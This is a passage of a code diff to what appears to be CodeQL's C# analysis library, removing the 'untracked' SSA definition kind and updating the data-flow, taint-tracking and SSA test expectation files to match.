) } or - TSsaImplicitUntrackedDef(UntrackedVar v, BasicBlock bb, int i) { - // Insert a definition prior to every read for untracked variables - bb.getNode(i + 1) = v.getAnAccess().(AssignableRead).getAControlFlowNode() - } or - TPhiNode(TrackedVar v, ControlFlow::BasicBlocks::JoinBlock bb) { + TPhiNode(SourceVariable v, ControlFlow::BasicBlocks::JoinBlock bb) { phiNodeMaybeLive(bb, v) and liveAtEntry(bb, v, _) } pragma[noinline] - private predicate phiNodeMaybeLive(ControlFlow::BasicBlocks::JoinBlock bb, TrackedVar v) { + private predicate phiNodeMaybeLive(ControlFlow::BasicBlocks::JoinBlock bb, SourceVariable v) { exists(Definition def, BasicBlock bb1 | definesAt(def, bb1, _, v) | bb1.inDominanceFrontier(bb) ) @@ -1886,8 +1801,6 @@ module Ssa { or exists(Definition qdef | def = TSsaImplicitQualifierDef(v, qdef) | definesAt(qdef, bb, i, _)) or - def = TSsaImplicitUntrackedDef(v, bb, i) - or def = TPhiNode(v, bb) and i = -1 } @@ -2256,10 +2169,10 @@ module Ssa { * An SSA definition that corresponds to an explicit assignable definition. */ class ExplicitDefinition extends Definition, TSsaExplicitDef { - TrackedVar tv; + SourceVariable sv; AssignableDefinition ad; - ExplicitDefinition() { this = TSsaExplicitDef(tv, ad, _, _) } + ExplicitDefinition() { this = TSsaExplicitDef(sv, ad, _, _) } /** * Gets an underlying assignable definition. The result is always unique, @@ -2337,16 +2250,14 @@ module Ssa { * An SSA definition that does not correspond to an explicit variable definition. * Either an implicit initialization of a variable at the beginning of a callable * (`ImplicitEntryDefinition`), an implicit definition via a call - * (`ImplicitCallDefinition`), an implicit definition where the qualifier is - * updated (`ImplicitQualifierDefinition`), or a definition for a field or - * property that is not amenable to SSA analysis (`ImplicitUntrackedDefinition`). + * (`ImplicitCallDefinition`), or an implicit definition where the qualifier is + * updated (`ImplicitQualifierDefinition`). */ class ImplicitDefinition extends Definition { ImplicitDefinition() { this = TSsaImplicitEntryDef(_, _) or this = TSsaImplicitCallDef(_, _, _, _) or - this = TSsaImplicitQualifierDef(_, _) or - this = TSsaImplicitUntrackedDef(_, _, _) + this = TSsaImplicitQualifierDef(_, _) } } @@ -2420,25 +2331,6 @@ module Ssa { override Location getLocation() { result = getQualifierDefinition().getLocation() } } - /** - * An SSA definition for a variable that is not amenable to SSA analysis. A definition - * is inserted prior to every read. - */ - class ImplicitUntrackedDefinition extends ImplicitDefinition, TSsaImplicitUntrackedDef { - override AssignableRead getARead() { - exists(BasicBlock bb, int i, UntrackedVar v | - this = TSsaImplicitUntrackedDef(v, bb, i) and - result.getAControlFlowNode() = bb.getNode(i + 1) - ) - } - - override string toString() { - result = getToStringPrefix(this) + "SSA untracked def(" + getSourceVariable() + ")" - } - - override Location getLocation() { result = this.getARead().getLocation() } - } - /** * An SSA definition that has no actual semantics, but simply serves to * merge or filter data flow. @@ -2483,7 +2375,7 @@ module Ssa { * call definition on line 9 as inputs. */ override Definition getAnInput() { - exists(BasicBlock bb, BasicBlock phiPred, TrackedVar v | + exists(BasicBlock bb, BasicBlock phiPred, SourceVariable v | definesAt(this, bb, _, v) and bb.getAPredecessor() = phiPred and ssaDefReachesEndOfBlock(phiPred, result, v) diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowPrivate.qll b/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowPrivate.qll index 2974bc6af6a..001e071c651 100644 --- a/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowPrivate.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowPrivate.qll @@ -1691,8 +1691,6 @@ private class FieldOrPropertyRead extends FieldOrPropertyAccess, AssignableRead * SSA updates. */ predicate hasNonlocalValue() { - this = any(Ssa::ImplicitUntrackedDefinition udef).getARead() - or exists(Ssa::Definition def, Ssa::ImplicitDefinition idef | def.getARead() = this and idef = def.getAnUltimateDefinition() diff --git a/csharp/ql/test/library-tests/csharp7/LocalTaintFlow.expected b/csharp/ql/test/library-tests/csharp7/LocalTaintFlow.expected index acce87f5c60..fc00d4e05e9 100644 --- a/csharp/ql/test/library-tests/csharp7/LocalTaintFlow.expected +++ b/csharp/ql/test/library-tests/csharp7/LocalTaintFlow.expected @@ -4,6 +4,7 @@ | CSharp7.cs:10:9:10:9 | this access | CSharp7.cs:11:9:11:9 | this access | | CSharp7.cs:16:9:16:13 | [post] this access | CSharp7.cs:25:39:25:43 | this access | | CSharp7.cs:16:9:16:13 | this access | CSharp7.cs:25:39:25:43 | this access | +| CSharp7.cs:17:9:17:11 | SSA entry def(this.field) | CSharp7.cs:17:18:17:22 | access to field field | | CSharp7.cs:17:9:17:11 | this | CSharp7.cs:17:18:17:22 | this access | | CSharp7.cs:21:9:21:11 | this | CSharp7.cs:21:16:21:20 | this access | | CSharp7.cs:22:9:22:11 | this | CSharp7.cs:22:16:22:20 | this access | @@ -67,6 +68,7 @@ | CSharp7.cs:84:23:84:23 | 2 | CSharp7.cs:84:16:84:24 | (..., ...) | | CSharp7.cs:87:10:87:18 | this | CSharp7.cs:92:18:92:28 | this access | | CSharp7.cs:89:13:89:34 | SSA def(t1) | CSharp7.cs:90:28:90:29 | access to local variable t1 | +| CSharp7.cs:89:13:89:34 | SSA qualifier def(t1.Item1) | CSharp7.cs:92:20:92:27 | access to field Item1 | | CSharp7.cs:89:18:89:34 | (..., ...) | CSharp7.cs:89:13:89:34 | SSA def(t1) | | CSharp7.cs:89:19:89:27 | "tainted" | CSharp7.cs:89:18:89:34 | (..., ...) | | CSharp7.cs:89:30:89:33 | "X2" | CSharp7.cs:89:18:89:34 | (..., ...) | @@ -100,6 +102,7 @@ | CSharp7.cs:112:31:112:32 | access to local variable m2 | CSharp7.cs:112:26:112:33 | (..., ...) | | CSharp7.cs:114:9:114:67 | SSA def(m9) | CSharp7.cs:115:19:115:20 | access to local variable m9 | | CSharp7.cs:114:38:114:67 | SSA def(m2) | CSharp7.cs:118:9:118:10 | access to local variable m2 | +| CSharp7.cs:114:38:114:67 | SSA qualifier def(m2.Item1) | CSharp7.cs:119:19:119:26 | access to field Item1 | | CSharp7.cs:114:49:114:67 | (..., ...) | CSharp7.cs:114:38:114:67 | ... = ... | | CSharp7.cs:114:50:114:58 | "DefUse2" | CSharp7.cs:114:49:114:67 | (..., ...) | | CSharp7.cs:114:61:114:66 | (..., ...) | CSharp7.cs:114:38:114:67 | SSA def(m2) | diff --git a/csharp/ql/test/library-tests/dataflow/local/DataFlowStep.expected b/csharp/ql/test/library-tests/dataflow/local/DataFlowStep.expected index e54670f07fc..babc7501a22 100644 --- a/csharp/ql/test/library-tests/dataflow/local/DataFlowStep.expected +++ b/csharp/ql/test/library-tests/dataflow/local/DataFlowStep.expected @@ -325,6 +325,8 @@ | LocalDataFlow.cs:243:9:243:17 | access to local variable nonSink10 | LocalDataFlow.cs:244:15:244:23 | access to local variable nonSink10 | | LocalDataFlow.cs:247:13:247:52 | SSA def(taintedDataContract) | LocalDataFlow.cs:248:22:248:40 | access to local variable taintedDataContract | | LocalDataFlow.cs:247:13:247:52 | SSA qualifier def(taintedDataContract.AList) | LocalDataFlow.cs:250:22:250:46 | access to property AList | +| LocalDataFlow.cs:247:13:247:52 | SSA qualifier def(taintedDataContract.AString) | LocalDataFlow.cs:248:22:248:48 | access to property AString | +| LocalDataFlow.cs:247:13:247:52 | SSA qualifier def(taintedDataContract.AnInt) | LocalDataFlow.cs:257:20:257:44 | access to property AnInt | | LocalDataFlow.cs:247:35:247:52 | object creation of type DataContract | LocalDataFlow.cs:247:13:247:52 | SSA def(taintedDataContract) | | LocalDataFlow.cs:248:13:248:48 | SSA def(sink53) | LocalDataFlow.cs:249:15:249:20 | access to local variable sink53 | | LocalDataFlow.cs:248:22:248:40 | [post] access to local variable taintedDataContract | LocalDataFlow.cs:250:22:250:40 | access to local variable taintedDataContract | @@ -337,6 +339,7 @@ | LocalDataFlow.cs:250:22:250:46 | access to property AList | LocalDataFlow.cs:259:20:259:44 | access to property AList | | LocalDataFlow.cs:250:22:250:57 | access to property AString | LocalDataFlow.cs:250:13:250:57 | SSA def(sink54) | | LocalDataFlow.cs:254:13:254:55 | SSA def(nonTaintedDataContract) | LocalDataFlow.cs:255:20:255:41 | access to local variable nonTaintedDataContract | +| LocalDataFlow.cs:254:13:254:55 | SSA qualifier def(nonTaintedDataContract.AString) | LocalDataFlow.cs:255:20:255:49 | access to property AString | | LocalDataFlow.cs:254:38:254:55 | object creation of type DataContract | LocalDataFlow.cs:254:13:254:55 | SSA def(nonTaintedDataContract) | | LocalDataFlow.cs:255:9:255:49 | SSA def(nonSink0) | LocalDataFlow.cs:256:15:256:22 | access to local variable nonSink0 | | LocalDataFlow.cs:255:20:255:49 | access to property AString | LocalDataFlow.cs:255:9:255:49 | SSA def(nonSink0) | @@ -347,10 +350,12 @@ | LocalDataFlow.cs:259:9:259:53 | SSA def(nonSink2) | LocalDataFlow.cs:260:15:260:22 | access to local variable nonSink2 | | LocalDataFlow.cs:259:20:259:53 | access to property AnInt | LocalDataFlow.cs:259:9:259:53 | SSA def(nonSink2) | | LocalDataFlow.cs:263:17:263:37 | SSA def(taintedTextBox) | LocalDataFlow.cs:264:22:264:35 | access to local variable taintedTextBox | +| LocalDataFlow.cs:263:17:263:37 | SSA qualifier def(taintedTextBox.Text) | LocalDataFlow.cs:264:22:264:40 | access to property Text | | LocalDataFlow.cs:263:34:263:37 | null | LocalDataFlow.cs:263:17:263:37 | SSA def(taintedTextBox) | | LocalDataFlow.cs:264:13:264:40 | SSA def(sink60) | LocalDataFlow.cs:265:15:265:20 | access to local variable sink60 | | LocalDataFlow.cs:264:22:264:40 | access to property Text | LocalDataFlow.cs:264:13:264:40 | SSA def(sink60) | | LocalDataFlow.cs:268:17:268:40 | SSA def(nonTaintedTextBox) | LocalDataFlow.cs:269:20:269:36 | access to local variable nonTaintedTextBox | +| LocalDataFlow.cs:268:17:268:40 | SSA qualifier def(nonTaintedTextBox.Text) | LocalDataFlow.cs:269:20:269:41 | access to property Text | | LocalDataFlow.cs:268:37:268:40 | null | LocalDataFlow.cs:268:17:268:40 | SSA def(nonTaintedTextBox) | | LocalDataFlow.cs:269:9:269:41 | SSA def(nonSink0) | LocalDataFlow.cs:270:15:270:22 | access to local variable nonSink0 | | LocalDataFlow.cs:269:20:269:41 | access to property Text | LocalDataFlow.cs:269:9:269:41 | SSA def(nonSink0) | @@ -396,6 +401,7 @@ | LocalDataFlow.cs:314:22:314:26 | access to local variable sink0 | LocalDataFlow.cs:314:22:314:38 | ... ?? ... | | LocalDataFlow.cs:314:22:314:38 | ... ?? ... | LocalDataFlow.cs:314:13:314:38 | SSA def(sink74) | | LocalDataFlow.cs:314:31:314:38 | access to local variable nonSink0 | LocalDataFlow.cs:314:22:314:38 | ... ?? ... | +| LocalDataFlow.cs:334:28:334:30 | SSA entry def(this.anInt) | LocalDataFlow.cs:334:41:334:45 | access to field anInt | | LocalDataFlow.cs:334:28:334:30 | this | LocalDataFlow.cs:334:41:334:45 | this access | | LocalDataFlow.cs:334:50:334:52 | this | LocalDataFlow.cs:334:56:334:60 | this access | | LocalDataFlow.cs:334:50:334:52 | value | LocalDataFlow.cs:334:64:334:68 | access to parameter value | diff --git a/csharp/ql/test/library-tests/dataflow/local/TaintTrackingStep.expected b/csharp/ql/test/library-tests/dataflow/local/TaintTrackingStep.expected index e33df037f81..2435c1a30f7 100644 --- a/csharp/ql/test/library-tests/dataflow/local/TaintTrackingStep.expected +++ b/csharp/ql/test/library-tests/dataflow/local/TaintTrackingStep.expected @@ -421,6 +421,8 @@ | LocalDataFlow.cs:243:30:243:37 | access to local variable nonSink0 | LocalDataFlow.cs:243:9:243:38 | call to method AppendLine | | LocalDataFlow.cs:247:13:247:52 | SSA def(taintedDataContract) | LocalDataFlow.cs:248:22:248:40 | access to local variable taintedDataContract | | LocalDataFlow.cs:247:13:247:52 | SSA qualifier def(taintedDataContract.AList) | LocalDataFlow.cs:250:22:250:46 | access to property AList | +| LocalDataFlow.cs:247:13:247:52 | SSA qualifier def(taintedDataContract.AString) | LocalDataFlow.cs:248:22:248:48 | access to property AString | +| LocalDataFlow.cs:247:13:247:52 | SSA qualifier def(taintedDataContract.AnInt) | LocalDataFlow.cs:257:20:257:44 | access to property AnInt | | LocalDataFlow.cs:247:35:247:52 | object creation of type DataContract | LocalDataFlow.cs:247:13:247:52 | SSA def(taintedDataContract) | | LocalDataFlow.cs:248:13:248:48 | SSA def(sink53) | LocalDataFlow.cs:249:15:249:20 | access to local variable sink53 | | LocalDataFlow.cs:248:22:248:40 | [post] access to local variable taintedDataContract | LocalDataFlow.cs:250:22:250:40 | access to local variable taintedDataContract | @@ -437,6 +439,7 @@ | LocalDataFlow.cs:250:22:250:49 | access to indexer | LocalDataFlow.cs:250:22:250:57 | access to property AString | | LocalDataFlow.cs:250:22:250:57 | access to property AString | LocalDataFlow.cs:250:13:250:57 | SSA def(sink54) | | LocalDataFlow.cs:254:13:254:55 | SSA def(nonTaintedDataContract) | LocalDataFlow.cs:255:20:255:41 | access to local variable nonTaintedDataContract | +| LocalDataFlow.cs:254:13:254:55 | SSA qualifier def(nonTaintedDataContract.AString) | LocalDataFlow.cs:255:20:255:49 | access to property AString | | LocalDataFlow.cs:254:38:254:55 | object creation of type DataContract | LocalDataFlow.cs:254:13:254:55 | SSA def(nonTaintedDataContract) | | LocalDataFlow.cs:255:9:255:49 | SSA def(nonSink0) | LocalDataFlow.cs:256:15:256:22 | access to local variable nonSink0 | | LocalDataFlow.cs:255:20:255:41 | access to local variable nonTaintedDataContract | LocalDataFlow.cs:255:20:255:49 | access to property AString | @@ -450,11 +453,13 @@ | LocalDataFlow.cs:259:20:259:44 | access to property AList | LocalDataFlow.cs:259:20:259:47 | access to indexer | | LocalDataFlow.cs:259:20:259:53 | access to property AnInt | LocalDataFlow.cs:259:9:259:53 | SSA def(nonSink2) | | LocalDataFlow.cs:263:17:263:37 | SSA def(taintedTextBox) | LocalDataFlow.cs:264:22:264:35 | access to local variable taintedTextBox | +| LocalDataFlow.cs:263:17:263:37 | SSA qualifier def(taintedTextBox.Text) | LocalDataFlow.cs:264:22:264:40 | access to property Text | | LocalDataFlow.cs:263:34:263:37 | null | LocalDataFlow.cs:263:17:263:37 | SSA def(taintedTextBox) | | LocalDataFlow.cs:264:13:264:40 | SSA def(sink60) | LocalDataFlow.cs:265:15:265:20 | access to local variable sink60 | | LocalDataFlow.cs:264:22:264:35 | access to local variable taintedTextBox | LocalDataFlow.cs:264:22:264:40 | access to property Text | | LocalDataFlow.cs:264:22:264:40 | access to property Text | LocalDataFlow.cs:264:13:264:40 | SSA def(sink60) | | LocalDataFlow.cs:268:17:268:40 | SSA def(nonTaintedTextBox) | LocalDataFlow.cs:269:20:269:36 | access to local variable nonTaintedTextBox | +| LocalDataFlow.cs:268:17:268:40 | SSA qualifier def(nonTaintedTextBox.Text) | LocalDataFlow.cs:269:20:269:41 | access to property Text | | LocalDataFlow.cs:268:37:268:40 | null | LocalDataFlow.cs:268:17:268:40 | SSA def(nonTaintedTextBox) | | LocalDataFlow.cs:269:9:269:41 | SSA def(nonSink0) | LocalDataFlow.cs:270:15:270:22 | access to local variable nonSink0 | | LocalDataFlow.cs:269:20:269:36 | access to local variable nonTaintedTextBox | LocalDataFlow.cs:269:20:269:41 | access to property Text | @@ -505,6 +510,7 @@ | LocalDataFlow.cs:314:22:314:26 | access to local variable sink0 | LocalDataFlow.cs:314:22:314:38 | ... ?? ... | | LocalDataFlow.cs:314:22:314:38 | ... ?? ... | LocalDataFlow.cs:314:13:314:38 | SSA def(sink74) | | LocalDataFlow.cs:314:31:314:38 | access to local variable nonSink0 | LocalDataFlow.cs:314:22:314:38 | ... ?? ... | +| LocalDataFlow.cs:334:28:334:30 | SSA entry def(this.anInt) | LocalDataFlow.cs:334:41:334:45 | access to field anInt | | LocalDataFlow.cs:334:28:334:30 | this | LocalDataFlow.cs:334:41:334:45 | this access | | LocalDataFlow.cs:334:50:334:52 | this | LocalDataFlow.cs:334:56:334:60 | this access | | LocalDataFlow.cs:334:50:334:52 | value | LocalDataFlow.cs:334:64:334:68 | access to parameter value | diff --git a/csharp/ql/test/library-tests/dataflow/ssa/SsaDef.expected b/csharp/ql/test/library-tests/dataflow/ssa/SsaDef.expected index bc2b8dd23d9..8d5a2db71ab 100644 --- a/csharp/ql/test/library-tests/dataflow/ssa/SsaDef.expected +++ b/csharp/ql/test/library-tests/dataflow/ssa/SsaDef.expected @@ -193,11 +193,9 @@ | Fields.cs:33:19:33:22 | Fields.stat | Fields.cs:49:17:49:28 | SSA call def(Fields.stat) | | Fields.cs:33:19:33:22 | Fields.stat | Fields.cs:50:9:50:17 | SSA phi(Fields.stat) | | Fields.cs:33:19:33:22 | Fields.stat | Fields.cs:51:9:51:20 | SSA call def(Fields.stat) | -| Fields.cs:63:16:63:28 | this.VolatileField | Fields.cs:63:16:63:28 | SSA untracked def(this.VolatileField) | -| Fields.cs:63:16:63:28 | this.VolatileField | Fields.cs:69:21:69:33 | SSA untracked def(this.VolatileField) | | Fields.cs:65:24:65:32 | this.LoopField | Fields.cs:61:17:61:17 | SSA entry def(this.LoopField) | -| Fields.cs:71:17:71:35 | this.SingleAccessedField | Fields.cs:71:17:71:35 | SSA untracked def(this.SingleAccessedField) | -| Fields.cs:76:20:76:38 | this.SingleAccessedField | Fields.cs:76:20:76:38 | SSA untracked def(this.SingleAccessedField) | +| Fields.cs:71:17:71:35 | this.SingleAccessedField | Fields.cs:61:17:61:17 | SSA entry def(this.SingleAccessedField) | +| Fields.cs:76:20:76:38 | this.SingleAccessedField | Fields.cs:74:17:74:17 | SSA entry def(this.SingleAccessedField) | | Fields.cs:77:13:77:13 | f | Fields.cs:77:13:77:45 | SSA def(f) | | Fields.cs:77:13:77:13 | f | Fields.cs:78:27:78:54 | SSA capture def(f) | | Fields.cs:78:23:78:23 | a | Fields.cs:78:23:78:54 | SSA def(a) | @@ -283,8 +281,8 @@ | Properties.cs:61:23:61:23 | i | Properties.cs:63:16:63:16 | SSA phi(i) | | Properties.cs:61:23:61:23 | i | Properties.cs:63:16:63:18 | SSA def(i) | | Properties.cs:65:24:65:31 | this.LoopProp | Properties.cs:61:17:61:17 | SSA entry def(this.LoopProp) | -| Properties.cs:67:21:67:38 | this.SingleAccessedProp | Properties.cs:67:21:67:38 | SSA untracked def(this.SingleAccessedProp) | -| Properties.cs:72:20:72:37 | this.SingleAccessedProp | Properties.cs:72:20:72:37 | SSA untracked def(this.SingleAccessedProp) | +| Properties.cs:67:21:67:38 | this.SingleAccessedProp | Properties.cs:61:17:61:17 | SSA entry def(this.SingleAccessedProp) | +| Properties.cs:72:20:72:37 | this.SingleAccessedProp | Properties.cs:70:17:70:17 | SSA entry def(this.SingleAccessedProp) | | Properties.cs:73:13:73:13 | f | Properties.cs:73:13:73:32 | SSA def(f) | | Properties.cs:73:13:73:13 | f | Properties.cs:74:27:74:54 | SSA capture def(f) | | Properties.cs:74:23:74:23 | a | Properties.cs:74:23:74:54 | SSA def(a) | @@ -298,11 +296,6 @@ | Properties.cs:76:9:76:12 | f.xs | Properties.cs:84:9:84:25 | SSA def(f.xs) | | Properties.cs:78:9:78:15 | this.xs | Properties.cs:81:9:81:22 | SSA def(this.xs) | | Properties.cs:78:9:78:15 | this.xs | Properties.cs:83:9:83:22 | SSA def(this.xs) | -| Properties.cs:94:9:94:27 | this.NonTrivialProp | Properties.cs:95:20:95:38 | SSA untracked def(this.NonTrivialProp) | -| Properties.cs:97:9:97:24 | this.VirtualProp | Properties.cs:98:16:98:31 | SSA untracked def(this.VirtualProp) | -| Properties.cs:100:9:100:26 | this.VolatileField | Properties.cs:100:9:100:26 | SSA untracked def(this.VolatileField) | -| Properties.cs:100:9:100:26 | this.VolatileField | Properties.cs:101:21:101:38 | SSA untracked def(this.VolatileField) | -| Properties.cs:100:9:100:29 | this.VolatileField.xs | Properties.cs:101:21:101:41 | SSA untracked def(this.VolatileField.xs) | | Properties.cs:106:37:106:37 | p | Properties.cs:106:37:106:37 | SSA param(p) | | Properties.cs:114:20:114:29 | this.Props | Properties.cs:108:10:108:10 | SSA entry def(this.Props) | | Properties.cs:114:20:114:29 | this.Props | Properties.cs:113:9:113:22 | SSA call def(this.Props) | diff --git a/csharp/ql/test/library-tests/dataflow/ssa/SsaDefElement.expected b/csharp/ql/test/library-tests/dataflow/ssa/SsaDefElement.expected index bc176624df5..a5971b9070d 100644 --- a/csharp/ql/test/library-tests/dataflow/ssa/SsaDefElement.expected +++ b/csharp/ql/test/library-tests/dataflow/ssa/SsaDefElement.expected @@ -183,10 +183,8 @@ | Fields.cs:49:17:49:28 | SSA call def(Fields.stat) | Fields.cs:49:17:49:28 | object creation of type Fields | | Fields.cs:51:9:51:20 | SSA call def(Fields.stat) | Fields.cs:51:9:51:20 | object creation of type Fields | | Fields.cs:61:17:61:17 | SSA entry def(this.LoopField) | Fields.cs:61:17:61:17 | H | -| Fields.cs:63:16:63:28 | SSA untracked def(this.VolatileField) | Fields.cs:63:16:63:28 | this access | -| Fields.cs:69:21:69:33 | SSA untracked def(this.VolatileField) | Fields.cs:69:21:69:33 | this access | -| Fields.cs:71:17:71:35 | SSA untracked def(this.SingleAccessedField) | Fields.cs:71:17:71:35 | this access | -| Fields.cs:76:20:76:38 | SSA untracked def(this.SingleAccessedField) | Fields.cs:76:20:76:38 | this access | +| Fields.cs:61:17:61:17 | SSA entry def(this.SingleAccessedField) | Fields.cs:61:17:61:17 | H | +| Fields.cs:74:17:74:17 | SSA entry def(this.SingleAccessedField) | Fields.cs:74:17:74:17 | I | | Fields.cs:77:13:77:45 | SSA def(f) | Fields.cs:77:13:77:45 | Fields f = ... | | Fields.cs:78:23:78:54 | SSA def(a) | Fields.cs:78:23:78:54 | Action a = ... | | Fields.cs:78:27:78:54 | SSA capture def(f) | Fields.cs:78:27:78:54 | (...) => ... | @@ -264,10 +262,10 @@ | Properties.cs:49:17:49:32 | SSA call def(Properties.stat) | Properties.cs:49:17:49:32 | object creation of type Properties | | Properties.cs:51:9:51:24 | SSA call def(Properties.stat) | Properties.cs:51:9:51:24 | object creation of type Properties | | Properties.cs:61:17:61:17 | SSA entry def(this.LoopProp) | Properties.cs:61:17:61:17 | H | +| Properties.cs:61:17:61:17 | SSA entry def(this.SingleAccessedProp) | Properties.cs:61:17:61:17 | H | | Properties.cs:61:23:61:23 | SSA param(i) | Properties.cs:61:23:61:23 | i | | Properties.cs:63:16:63:18 | SSA def(i) | Properties.cs:63:16:63:18 | ...-- | -| Properties.cs:67:21:67:38 | SSA untracked def(this.SingleAccessedProp) | Properties.cs:67:21:67:38 | this access | -| Properties.cs:72:20:72:37 | SSA untracked def(this.SingleAccessedProp) | Properties.cs:72:20:72:37 | this access | +| Properties.cs:70:17:70:17 | SSA entry def(this.SingleAccessedProp) | Properties.cs:70:17:70:17 | I | | Properties.cs:73:13:73:32 | SSA def(f) | Properties.cs:73:13:73:32 | Properties f = ... | | Properties.cs:74:23:74:54 | SSA def(a) | Properties.cs:74:23:74:54 | Action a = ... | | Properties.cs:74:27:74:54 | SSA capture def(f) | Properties.cs:74:27:74:54 | (...) => ... | @@ -281,11 +279,6 @@ | Properties.cs:83:9:83:22 | SSA def(this.xs) | Properties.cs:83:9:83:22 | ... = ... | | Properties.cs:84:9:84:25 | SSA def(f.xs) | Properties.cs:84:9:84:25 | ... = ... | | Properties.cs:85:24:85:46 | SSA capture def(b) | Properties.cs:85:24:85:46 | (...) => ... | -| Properties.cs:95:20:95:38 | SSA untracked def(this.NonTrivialProp) | Properties.cs:95:20:95:23 | this access | -| Properties.cs:98:16:98:31 | SSA untracked def(this.VirtualProp) | Properties.cs:98:16:98:19 | this access | -| Properties.cs:100:9:100:26 | SSA untracked def(this.VolatileField) | Properties.cs:100:9:100:12 | this access | -| Properties.cs:101:21:101:38 | SSA untracked def(this.VolatileField) | Properties.cs:101:21:101:24 | this access | -| Properties.cs:101:21:101:41 | SSA untracked def(this.VolatileField.xs) | Properties.cs:101:21:101:38 | access to field VolatileField | | Properties.cs:106:37:106:37 | SSA param(p) | Properties.cs:106:37:106:37 | p | | Properties.cs:108:10:108:10 | SSA entry def(this.Props) | Properties.cs:108:10:108:10 | K | | Properties.cs:108:10:108:10 | SSA entry def(this.Props.Props) | Properties.cs:108:10:108:10 | K | diff --git a/csharp/ql/test/library-tests/dataflow/ssa/SsaDefLastRead.expected b/csharp/ql/test/library-tests/dataflow/ssa/SsaDefLastRead.expected index d9534f06ff1..35ad76fe651 100644 --- a/csharp/ql/test/library-tests/dataflow/ssa/SsaDefLastRead.expected +++ b/csharp/ql/test/library-tests/dataflow/ssa/SsaDefLastRead.expected @@ -151,6 +151,8 @@ | Fields.cs:33:19:33:22 | Fields.stat | Fields.cs:38:9:38:13 | SSA call def(Fields.stat) | Fields.cs:41:13:41:16 | access to field stat | | Fields.cs:33:19:33:22 | Fields.stat | Fields.cs:51:9:51:20 | SSA call def(Fields.stat) | Fields.cs:54:13:54:16 | access to field stat | | Fields.cs:65:24:65:32 | this.LoopField | Fields.cs:61:17:61:17 | SSA entry def(this.LoopField) | Fields.cs:65:24:65:32 | access to field LoopField | +| Fields.cs:71:17:71:35 | this.SingleAccessedField | Fields.cs:61:17:61:17 | SSA entry def(this.SingleAccessedField) | Fields.cs:71:17:71:35 | access to field SingleAccessedField | +| Fields.cs:76:20:76:38 | this.SingleAccessedField | Fields.cs:74:17:74:17 | SSA entry def(this.SingleAccessedField) | Fields.cs:76:20:76:38 | access to field SingleAccessedField | | Fields.cs:77:13:77:13 | f | Fields.cs:77:13:77:45 | SSA def(f) | Fields.cs:90:19:90:19 | access to local variable f | | Fields.cs:77:13:77:13 | f | Fields.cs:78:27:78:54 | SSA capture def(f) | Fields.cs:78:35:78:35 | access to local variable f | | Fields.cs:78:23:78:23 | a | Fields.cs:78:23:78:54 | SSA def(a) | Fields.cs:81:9:81:9 | access to local variable a | @@ -219,6 +221,8 @@ | Properties.cs:33:19:33:22 | Properties.stat | Properties.cs:51:9:51:24 | SSA call def(Properties.stat) | Properties.cs:54:13:54:16 | access to property stat | | Properties.cs:61:23:61:23 | i | Properties.cs:63:16:63:16 | SSA phi(i) | Properties.cs:63:16:63:16 | access to parameter i | | Properties.cs:65:24:65:31 | this.LoopProp | Properties.cs:61:17:61:17 | SSA entry def(this.LoopProp) | Properties.cs:65:24:65:31 | access to property LoopProp | +| Properties.cs:67:21:67:38 | this.SingleAccessedProp | Properties.cs:61:17:61:17 | SSA entry def(this.SingleAccessedProp) | Properties.cs:67:21:67:38 | access to property SingleAccessedProp | +| Properties.cs:72:20:72:37 | this.SingleAccessedProp | Properties.cs:70:17:70:17 | SSA entry def(this.SingleAccessedProp) | Properties.cs:72:20:72:37 | access to property SingleAccessedProp | | Properties.cs:73:13:73:13 | f | Properties.cs:73:13:73:32 | SSA def(f) | Properties.cs:86:19:86:19 | access to local variable f | | Properties.cs:73:13:73:13 | f | Properties.cs:74:27:74:54 | SSA capture def(f) | Properties.cs:74:35:74:35 | access to local variable f | | Properties.cs:74:23:74:23 | a | Properties.cs:74:23:74:54 | SSA def(a) | Properties.cs:77:9:77:9 | access to local variable a | diff --git a/csharp/ql/test/library-tests/dataflow/ssa/SsaRead.expected b/csharp/ql/test/library-tests/dataflow/ssa/SsaRead.expected index 13aad35a44a..d6a958b32d7 100644 --- a/csharp/ql/test/library-tests/dataflow/ssa/SsaRead.expected +++ b/csharp/ql/test/library-tests/dataflow/ssa/SsaRead.expected @@ -185,11 +185,9 @@ | Fields.cs:33:19:33:22 | Fields.stat | Fields.cs:34:9:34:16 | SSA call def(Fields.stat) | Fields.cs:37:13:37:16 | access to field stat | | Fields.cs:33:19:33:22 | Fields.stat | Fields.cs:38:9:38:13 | SSA call def(Fields.stat) | Fields.cs:41:13:41:16 | access to field stat | | Fields.cs:33:19:33:22 | Fields.stat | Fields.cs:51:9:51:20 | SSA call def(Fields.stat) | Fields.cs:54:13:54:16 | access to field stat | -| Fields.cs:63:16:63:28 | this.VolatileField | Fields.cs:63:16:63:28 | SSA untracked def(this.VolatileField) | Fields.cs:63:16:63:28 | access to field VolatileField | -| Fields.cs:63:16:63:28 | this.VolatileField | Fields.cs:69:21:69:33 | SSA untracked def(this.VolatileField) | Fields.cs:69:21:69:33 | access to field VolatileField | | Fields.cs:65:24:65:32 | this.LoopField | Fields.cs:61:17:61:17 | SSA entry def(this.LoopField) | Fields.cs:65:24:65:32 | access to field LoopField | -| Fields.cs:71:17:71:35 | this.SingleAccessedField | Fields.cs:71:17:71:35 | SSA untracked def(this.SingleAccessedField) | Fields.cs:71:17:71:35 | access to field SingleAccessedField | -| Fields.cs:76:20:76:38 | this.SingleAccessedField | Fields.cs:76:20:76:38 | SSA untracked def(this.SingleAccessedField) | Fields.cs:76:20:76:38 | access to field SingleAccessedField | +| Fields.cs:71:17:71:35 | this.SingleAccessedField | Fields.cs:61:17:61:17 | SSA entry def(this.SingleAccessedField) | Fields.cs:71:17:71:35 | access to field SingleAccessedField | +| Fields.cs:76:20:76:38 | this.SingleAccessedField | Fields.cs:74:17:74:17 | SSA entry def(this.SingleAccessedField) | Fields.cs:76:20:76:38 | access to field SingleAccessedField | | Fields.cs:77:13:77:13 | f | Fields.cs:77:13:77:45 | SSA def(f) | Fields.cs:80:9:80:9 | access to local variable f | | Fields.cs:77:13:77:13 | f | Fields.cs:77:13:77:45 | SSA def(f) | Fields.cs:82:19:82:19 | access to local variable f | | Fields.cs:77:13:77:13 | f | Fields.cs:77:13:77:45 | SSA def(f) | Fields.cs:83:9:83:9 | access to local variable f | @@ -302,8 +300,8 @@ | Properties.cs:33:19:33:22 